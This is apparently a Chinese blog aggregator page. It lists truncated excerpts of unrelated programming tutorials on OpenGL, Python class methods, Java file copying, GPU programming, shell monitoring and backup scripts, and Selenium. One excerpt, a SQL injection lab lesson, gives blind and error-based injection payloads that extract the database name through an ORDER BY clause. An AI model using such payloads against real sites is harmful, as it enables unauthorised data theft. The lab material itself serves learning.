转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第四十八课:轨迹球 轨迹球实现的鼠标旋转 使用鼠标旋转物体,很简单也有很多实现方法,这里我们教会你模拟轨迹球来实现它.   轨迹球控制 By Terence J. Grant (tjgrant@tatewake.com) 如果只用鼠…
5.类函数和对象函数 类函数:在定义函数的上面一行书写@classmethod,特点:没有self 有cls 对象函数:定义在class中的普通的def函数 演示类函数和对象函数的定义使用: 总结: 在对象函数中,既能够直接使用对象属性和对象函数,也能够使用类属性和类函数 定义类函数,需要在函数的上面追加@classmethod注解符号,这样它的参数位置就有一个cls关键字 表示类的意思,而原本我们看到的self就不再了 在类函数中,只能直接使用类属性和类函数,不能直接使用对象属性和对象函数:…
一.复制文本文件 将G盘的文本文件拷贝到D盘上 也就是 读取G盘中文本文件的数据.写入D盘中->连读带写 而剪切呢.就是连读带写后,删除原盘的文件 <span style="font-family:KaiTi_GB2312;font-size:18px;"><strong>import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; public clas…
博主因为工作其中的须要,開始学习 GPU 上面的编程,主要涉及到的是基于 GPU 的深度学习方面的知识,鉴于之前没有接触过 GPU 编程.因此在这里特地学习一下 GPU 上面的编程.有志同道合的小伙伴.欢迎一起交流和学习,我的邮箱: caijinping220@gmail.com . 使用的是自己的老古董笔记本上面的 Geforce 103m 显卡,尽管显卡相对于如今主流的系列已经很的弱.可是对于学习来说,还是能够用的.本系列博文也遵从由简单到复杂.记录自己学习的过程. 0. 文件夹 GPU 编…
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转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第四十六课:全屏反走样 全屏反走样 当今显卡的强大功能,你几乎什么都不用做,只需要在创建窗口的时候该一个数据.看看吧,驱动程序为你做完了一切.   在图形的绘制中,直线的走样是非常影响美观的,我们可以使用反走样解决这个问题.在众多的…
centos   shell编程6一些工作中实践脚本   nagios监控脚本 自定义zabbix脚本 mysql备份脚本 zabbix错误日志  直接送给bc做计算  gzip  innobackupex/Xtrabackup   第四十节课 上半节课nagios监控脚本自定义zabbix脚本 下半节课mysql备份脚本zabbix错误日志直接送给bc做计算gzipinnobackupex/Xtrabackup 一. 自定义nagios监控脚本nagios:0成功, 1有问题 warning,…
转自[翻译]NeHe OpenGL 教程 前言 声明,此 NeHe OpenGL教程系列文章由51博客yarin翻译(2010-08-19),本博客为转载并稍加整理与修改.对NeHe的OpenGL管线教程的编写,以及yarn的翻译整理表示感谢. NeHe OpenGL第四十二课:多重视口 多重视口 画中画效果,很酷吧.使用视口它变得很简单,但渲染四次可会大大降低你的显示速度哦:)   欢迎来到充满趣味的另一课.这次我将向你展示怎样在单个窗口内显示多个视口.这些视口在窗口模式下能正确的调整大小.其…
0x1 源码区别点 将id变为字符型:$sql = "SELECT * FROM users ORDER BY '$id'"; 0x2实例测试 (1)and rand相结合的方式 payload: http:' and rand(ascii(left(database(),1))=116)--+ (2)利用报错的方式进行 http:' and (select 1 from(select count(*),concat(0x5c,database(),0x5c,floor(rand(0)…
1.简介 webdriver有三种判断元素状态的方法,分别是isEnabled,isSelected 和 isDisplayed,其中isSelected在前面的内容中已经简单的介绍了,isSelected表示查看元素是否被选中,一般用在勾选框中(多选或者单选),isDisplayed表示查看选中是否可见.isEnabled表示查什么呢?isEnabled表示查看元素是否可以进行操作,比如,点击,输入等. 2.isEnabled()源码 /** * Is the element currentl…